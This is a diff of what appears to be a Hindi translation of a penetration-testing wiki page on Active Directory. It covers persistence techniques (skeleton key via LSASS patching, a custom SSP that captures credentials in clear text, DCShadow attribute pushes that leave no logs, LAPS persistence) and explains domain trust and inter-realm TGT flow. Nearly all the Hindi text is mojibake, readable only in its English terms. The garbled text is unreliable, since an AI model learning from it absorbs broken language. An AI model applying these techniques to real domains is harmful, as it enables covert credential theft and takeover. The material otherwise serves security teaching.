рдСрдмреНрдЬреЗрдХреНрдЯ рдкрд░ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдмрд┐рдирд╛ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╕рдореВрд╣ рдХрд╛ рд╕рджрд╕реНрдп рдмрдиреЗред {{#ref}} security-descriptors.md @@ -467,7 +470,7 @@ security-descriptors.md ### рдХрдВрдХрд╛рд▓ рдХреБрдВрдЬреА -**LSASS** рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ рддрд╛рдХрд┐ рдПрдХ **рд╕рд╛рд░реНрд╡рднреМрдорд┐рдХ рдкрд╛рд╕рд╡рд░реНрдб** рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬреЛ рд╕рднреА рдбреЛрдореЗрди рдЦрд╛рддреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред +**LSASS** рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ рддрд╛рдХрд┐ рдПрдХ **рд╕рд╛рд░реНрд╡рднреМрдорд┐рдХ рдкрд╛рд╕рд╡рд░реНрдб** рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬреЛ рд╕рднреА рдбреЛрдореЗрди рдЦрд╛рддреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред {{#ref}} skeleton-key.md @@ -476,7 +479,7 @@ skeleton-key.md ### рдХрд╕реНрдЯрдо SSP [рдпрд╣рд╛рдВ рдЬрд╛рдиреЗрдВ рдХрд┐ SSP (рд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рд╕рдкреЛрд░реНрдЯ рдкреНрд░реЛрд╡рд╛рдЗрдбрд░) рдХреНрдпрд╛ рд╣реИред](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ -рдЖрдк **рдЕрдкрдирд╛ рдЦреБрдж рдХрд╛ SSP** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдорд╢реАрди рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рдХреЛ **рд╕реНрдкрд╖реНрдЯ рдкрд╛рда** рдореЗрдВ **рдХреИрдкреНрдЪрд░** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред +рдЖрдк **рдЕрдкрдирд╛ рдЦреБрдж рдХрд╛ SSP** рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдорд╢реАрди рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рдХреЛ **рд╕реНрдкрд╖реНрдЯ рдкрд╛рда** рдореЗрдВ **рдХреИрдкреНрдЪрд░** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред {{#ref}} custom-ssp.md @@ -484,7 +487,7 @@ custom-ssp.md ### DCShadow -рдпрд╣ AD рдореЗрдВ рдПрдХ **рдирдпрд╛ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░** рдкрдВрдЬреАрдХреГрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╡рд╕реНрддреБрдУрдВ рдкрд░ **рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ** (SIDHistory, SPNs...) **рдкреБрд╢** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ **рдмрд┐рдирд╛** рдХрд┐рд╕реА **рд▓реЙрдЧ** рдХреЛ рдЫреЛрдбрд╝реЗ рдЬреЛ **рд╕рдВрд╢реЛрдзрдиреЛрдВ** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣реЛред рдЖрдкрдХреЛ **DA** рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдФрд░ **рд░реВрдЯ рдбреЛрдореЗрди** рдХреЗ рдЕрдВрджрд░ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред\ +рдпрд╣ AD рдореЗрдВ рдПрдХ **рдирдпрд╛ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░** рдкрдВрдЬреАрдХреГрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╡рд╕реНрддреБрдУрдВ рдкрд░ **рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ** (SIDHistory, SPNs...) **рдзрдХреЗрд▓рдиреЗ** рдХреЗ рд▓рд┐рдП рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ **рдмрд┐рдирд╛** рдХрд┐рд╕реА **рд▓реЙрдЧ** рдХреЗ рдЬреЛ **рд╕рдВрд╢реЛрдзрдиреЛрдВ** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣реЛред рдЖрдкрдХреЛ **DA** рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдФрд░ **рд░реВрдЯ рдбреЛрдореЗрди** рдХреЗ рдЕрдВрджрд░ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред\ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рдЧрд▓рдд рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдмрд╣реБрдд рднрджреНрджреЗ рд▓реЙрдЧ рджрд┐рдЦрд╛рдИ рджреЗрдВрдЧреЗред {{#ref}} @@ -493,52 +496,52 @@ dcshadow.md ### LAPS рд╕реНрдерд┐рд░рддрд╛ -рдкрд╣рд▓реЗ рд╣рдордиреЗ рдЪрд░реНрдЪрд╛ рдХреА рд╣реИ рдХрд┐ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ **LAPS рдкрд╛рд╕рд╡рд░реНрдб рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐ рд╣реИ** рддреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреИрд╕реЗ рдмрдврд╝рд╛рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрди рдкрд╛рд╕рд╡рд░реНрдбреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ **рд╕реНрдерд┐рд░рддрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ** рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред\ +рдкрд╣рд▓реЗ рд╣рдордиреЗ рдЪрд░реНрдЪрд╛ рдХреА рд╣реИ рдХрд┐ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ **LAPS рдкрд╛рд╕рд╡рд░реНрдб рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐ рд╣реИ** рддреЛ рдЖрдк рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреИрд╕реЗ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрди рдкрд╛рд╕рд╡рд░реНрдбреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ **рд╕реНрдерд┐рд░рддрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ** рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред\ рдЬрд╛рдВрдЪреЗрдВ: {{#ref}} laps.md {{#endref}} -## рд╡рди рд╡рди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ - рдбреЛрдореЗрди рдЯреНрд░рд╕реНрдЯ +## рд╡рди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ - рдбреЛрдореЗрди рдЯреНрд░рд╕реНрдЯ -Microsoft **рдлреЙрд░реЗрд╕реНрдЯ** рдХреЛ рд╕реБрд░рдХреНрд╖рд╛ рд╕реАрдорд╛ рдХреЗ рд░реВрдк рдореЗрдВ рджреЗрдЦрддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ **рдПрдХрд▓ рдбреЛрдореЗрди рдХрд╛ рд╕рдордЭреМрддрд╛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдкреВрд░реЗ рдлреЙрд░реЗрд╕реНрдЯ рдХреЗ рд╕рдордЭреМрддрд╛ рд╣реЛрдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ**ред +Microsoft **рд╡рди** рдХреЛ рд╕реБрд░рдХреНрд╖рд╛ рд╕реАрдорд╛ рдХреЗ рд░реВрдк рдореЗрдВ рджреЗрдЦрддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ **рдПрдХрд▓ рдбреЛрдореЗрди рдХрд╛ рд╕рдордЭреМрддрд╛ рдХрд░рдирд╛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдкреВрд░реЗ рд╡рди рдХреЗ рд╕рдордЭреМрддрд╛ рд╣реЛрдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ**ред ### рдмреБрдирд┐рдпрд╛рджреА рдЬрд╛рдирдХрд╛рд░реА -рдПрдХ [**рдбреЛрдореЗрди рдЯреНрд░рд╕реНрдЯ**]() рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рддрдВрддреНрд░ рд╣реИ рдЬреЛ рдПрдХ **рдбреЛрдореЗрди** рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рджреВрд╕рд░реЗ **рдбреЛрдореЗрди** рдореЗрдВ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рдореВрд▓ рд░реВрдк рд╕реЗ рджреЛрдиреЛрдВ рдбреЛрдореЗрди рдХреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдХреЗ рдмреАрдЪ рдПрдХ рд▓рд┐рдВрдХ рдмрдирд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рддреНрдпрд╛рдкрди рдирд┐рд░реНрдмрд╛рдз рд░реВрдк рд╕реЗ рдкреНрд░рд╡рд╛рд╣рд┐рдд рд╣реЛ рд╕рдХреЗред рдЬрдм рдбреЛрдореЗрди рдПрдХ рдЯреНрд░рд╕реНрдЯ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╡реЗ рдЕрдкрдиреЗ **рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ (DCs)** рдХреЗ рднреАрддрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ **рдХреБрдВрдЬреА** рдХрд╛ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдФрд░ рд░рдЦрд░рдЦрд╛рд╡ рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рдЯреНрд░рд╕реНрдЯ рдХреА рдЕрдЦрдВрдбрддрд╛ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИрдВред +рдПрдХ [**рдбреЛрдореЗрди рдЯреНрд░рд╕реНрдЯ**]() рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рддрдВрддреНрд░ рд╣реИ рдЬреЛ рдПрдХ **рдбреЛрдореЗрди** рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рджреВрд╕рд░реЗ **рдбреЛрдореЗрди** рдореЗрдВ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рдореВрд▓ рд░реВрдк рд╕реЗ рджреЛрдиреЛрдВ рдбреЛрдореЗрди рдХреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдХреЗ рдмреАрдЪ рдПрдХ рд▓рд┐рдВрдХ рдмрдирд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рддреНрдпрд╛рдкрди рдирд┐рд░реНрдмрд╛рдз рд░реВрдк рд╕реЗ рдкреНрд░рд╡рд╛рд╣рд┐рдд рд╣реЛ рд╕рдХреЗред рдЬрдм рдбреЛрдореЗрди рдПрдХ рдЯреНрд░рд╕реНрдЯ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╡реЗ рдЕрдкрдиреЗ **рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░реНрд╕ (DCs)** рдХреЗ рднреАрддрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ **рдХреБрдВрдЬреА** рдХрд╛ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдФрд░ рд░рдЦрд░рдЦрд╛рд╡ рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рдЯреНрд░рд╕реНрдЯ рдХреА рдЕрдЦрдВрдбрддрд╛ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИрдВред -рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ, рдпрджрд┐ рдХреЛрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЛрдореЗрди** рдореЗрдВ рдПрдХ рд╕реЗрд╡рд╛ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХрд╛ рдЗрд░рд╛рджрд╛ рд░рдЦрддрд╛ рд╣реИ, рддреЛ рдЙрд╕реЗ рдкрд╣рд▓реЗ рдЕрдкрдиреЗ рдбреЛрдореЗрди рдХреЗ DC рд╕реЗ **рдЗрдВрдЯрд░-рд░реАрд▓рдо TGT** рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЯрд┐рдХрдЯ рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдпрд╣ TGT рдПрдХ рд╕рд╛рдЭрд╛ **рдХреБрдВрдЬреА** рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬрд┐рд╕ рдкрд░ рджреЛрдиреЛрдВ рдбреЛрдореЗрди рд╕рд╣рдордд рд╣реБрдП рд╣реИрдВред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдлрд┐рд░ рдЗрд╕ TGT рдХреЛ **рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЛрдореЗрди рдХреЗ DC** рдХреЛ рд╕реЗрд╡рд╛ рдЯрд┐рдХрдЯ (**TGS**) рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИред рдЬрдм рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЛрдореЗрди рдХреЗ DC рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЯрд░-рд░реАрд▓рдо TGT рдХреА рд╕рдлрд▓ рд╕рддреНрдпрд╛рдкрди рд╣реЛрддреА рд╣реИ, рддреЛ рдпрд╣ рдПрдХ TGS рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕реЗрд╡рд╛ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред +рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ, рдпрджрд┐ рдХреЛрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЛрдореЗрди** рдореЗрдВ рдХрд┐рд╕реА рд╕реЗрд╡рд╛ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХрд╛ рдЗрд░рд╛рджрд╛ рд░рдЦрддрд╛ рд╣реИ, рддреЛ рдЙрд╕реЗ рдкрд╣рд▓реЗ рдЕрдкрдиреЗ рдбреЛрдореЗрди рдХреЗ DC рд╕реЗ **рдЗрдВрдЯрд░-рд░реАрд▓рдо TGT** рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЯрд┐рдХрдЯ рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдпрд╣ TGT рдПрдХ рд╕рд╛рдЭрд╛ **рдХреБрдВрдЬреА** рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬрд┐рд╕ рдкрд░ рджреЛрдиреЛрдВ рдбреЛрдореЗрди рд╕рд╣рдордд рд╣реБрдП рд╣реИрдВред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдлрд┐рд░ рдЗрд╕ TGT рдХреЛ **рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЛрдореЗрди рдХреЗ DC** рдХреЛ рд╕реЗрд╡рд╛ рдЯрд┐рдХрдЯ (**TGS**) рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИред рдЬрдм рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЛрдореЗрди рдХреЗ DC рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЯрд░-рд░реАрд▓рдо TGT рдХреА рд╕рдлрд▓ рд╕рддреНрдпрд╛рдкрди рд╣реЛрддреА рд╣реИ, рддреЛ рдпрд╣ рдПрдХ TGS рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕реЗрд╡рд╛ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред **рдЪрд░рдг**: 1. **рдбреЛрдореЗрди 1** рдореЗрдВ рдПрдХ **рдХреНрд▓рд╛рдЗрдВрдЯ рдХрдВрдкреНрдпреВрдЯрд░** рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЕрдкрдиреЗ **NTLM рд╣реИрд╢** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдкрдиреЗ **рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ (DC1)** рд╕реЗ **рдЯрд┐рдХрдЯ рдЧреНрд░рд╛рдВрдЯрд┐рдВрдЧ рдЯрд┐рдХрдЯ (TGT)** рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИред 2. рдпрджрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдкреНрд░рдорд╛рдгрд┐рдд рд╣реЛрддрд╛ рд╣реИ, рддреЛ DC1 рдПрдХ рдирдпрд╛ TGT рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИред -3. рдХреНрд▓рд╛рдЗрдВрдЯ рдлрд┐рд░ **рдбреЛрдореЗрди 2** рдореЗрдВ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП DC1 рд╕реЗ рдПрдХ **рдЗрдВрдЯрд░-рд░реАрд▓рдо TGT** рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИред -4. рдЗрдВрдЯрд░-рд░реАрд▓рдо TGT рдХреЛ DC1 рдФрд░ DC2 рдХреЗ рдмреАрдЪ рд╕рд╛рдЭрд╛ рдЯреНрд░рд╕реНрдЯ рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рджреЛ-рддрд░рдлрд╛ рдбреЛрдореЗрди рдЯреНрд░рд╕реНрдЯ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реИред +3. рдХреНрд▓рд╛рдЗрдВрдЯ рдлрд┐рд░ **рдбреЛрдореЗрди 2** рдореЗрдВ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП DC1 рд╕реЗ **рдЗрдВрдЯрд░-рд░реАрд▓рдо TGT** рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИред +4. рдЗрдВрдЯрд░-рд░реАрд▓рдо TGT рдХреЛ DC1 рдФрд░ DC2 рдХреЗ рдмреАрдЪ рджреЛ-рддрд░рдлрд╛ рдбреЛрдореЗрди рдЯреНрд░рд╕реНрдЯ рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЗ рд░реВрдк рдореЗрдВ рд╕рд╛рдЭрд╛ рдХрд┐рдП рдЧрдП **рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХреБрдВрдЬреА** рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред 5. рдХреНрд▓рд╛рдЗрдВрдЯ рдЗрдВрдЯрд░-рд░реАрд▓рдо TGT рдХреЛ **рдбреЛрдореЗрди 2 рдХреЗ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ (DC2)** рдкрд░ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИред -6. DC2 рдЕрдкрдиреЗ рд╕рд╛рдЭрд╛ рдЯреНрд░рд╕реНрдЯ рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрдВрдЯрд░-рд░реАрд▓рдо TGT рдХреА рд╕рддреНрдпрд╛рдкрди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдпрджрд┐ рдорд╛рдиреНрдп рд╣реИ, рддреЛ рд╡рд╣ рдЙрд╕ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП **рдЯрд┐рдХрдЯ рдЧреНрд░рд╛рдВрдЯрд┐рдВрдЧ рд╕реЗрд╡рд╛ (TGS)** рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИред -7. рдЕрдВрддрддрдГ, рдХреНрд▓рд╛рдЗрдВрдЯ рдЗрд╕ TGS рдХреЛ рд╕рд░реНрд╡рд░ рдХреЛ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╕рд░реНрд╡рд░ рдХреЗ рдЦрд╛рддреЗ рдХреЗ рд╣реИрд╢ рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддрд╛рдХрд┐ рдбреЛрдореЗрди 2 рдореЗрдВ рд╕реЗрд╡рд╛ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗред +6. DC2 рдЕрдкрдиреЗ рд╕рд╛рдЭрд╛ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрдВрдЯрд░-рд░реАрд▓рдо TGT рдХреА рд╕рддреНрдпрд╛рдкрди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдпрджрд┐ рдорд╛рдиреНрдп рд╣реИ, рддреЛ рд╡рд╣ рдЙрд╕ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП **рдЯрд┐рдХрдЯ рдЧреНрд░рд╛рдВрдЯрд┐рдВрдЧ рд╕реЗрд╡рд╛ (TGS)** рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдПрдХреНрд╕реЗрд╕ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИред +7. рдЕрдВрддрддрдГ, рдХреНрд▓рд╛рдЗрдВрдЯ рдЗрд╕ TGS рдХреЛ рд╕рд░реНрд╡рд░ рдХреЛ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рд╕рд░реНрд╡рд░ рдХреЗ рдЦрд╛рддреЗ рдХреЗ рд╣реИрд╢ рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддрд╛рдХрд┐ рдбреЛрдореЗрди 2 рдореЗрдВ рд╕реЗрд╡рд╛ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛ рд╕рдХреЗред ### рд╡рд┐рднрд┐рдиреНрди рдЯреНрд░рд╕реНрдЯ -рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ **рдПрдХ рдЯреНрд░рд╕реНрдЯ 1-рддрд░рдлрд╛ рдпрд╛ 2-рддрд░рдлрд╛** рд╣реЛ рд╕рдХрддрд╛ рд╣реИред 2-рддрд░рдлрд╛ рд╡рд┐рдХрд▓реНрдк рдореЗрдВ, рджреЛрдиреЛрдВ рдбреЛрдореЗрди рдПрдХ-рджреВрд╕рд░реЗ рдкрд░ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд░реЗрдВрдЧреЗ, рд▓реЗрдХрд┐рди **1-рддрд░рдлрд╛** рдЯреНрд░рд╕реНрдЯ рд╕рдВрдмрдВрдз рдореЗрдВ рдПрдХ рдбреЛрдореЗрди **рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп** рд╣реЛрдЧрд╛ рдФрд░ рджреВрд╕рд░рд╛ **рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛** рдбреЛрдореЗрди рд╣реЛрдЧрд╛ред рдЕрдВрддрд┐рдо рдорд╛рдорд▓реЗ рдореЗрдВ, **рдЖрдк рдХреЗрд╡рд▓ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдбреЛрдореЗрди рд╕реЗ рд╡рд┐рд╢реНрд╡рд╛рд╕ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдбреЛрдореЗрди рдХреЗ рдЕрдВрджрд░ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ 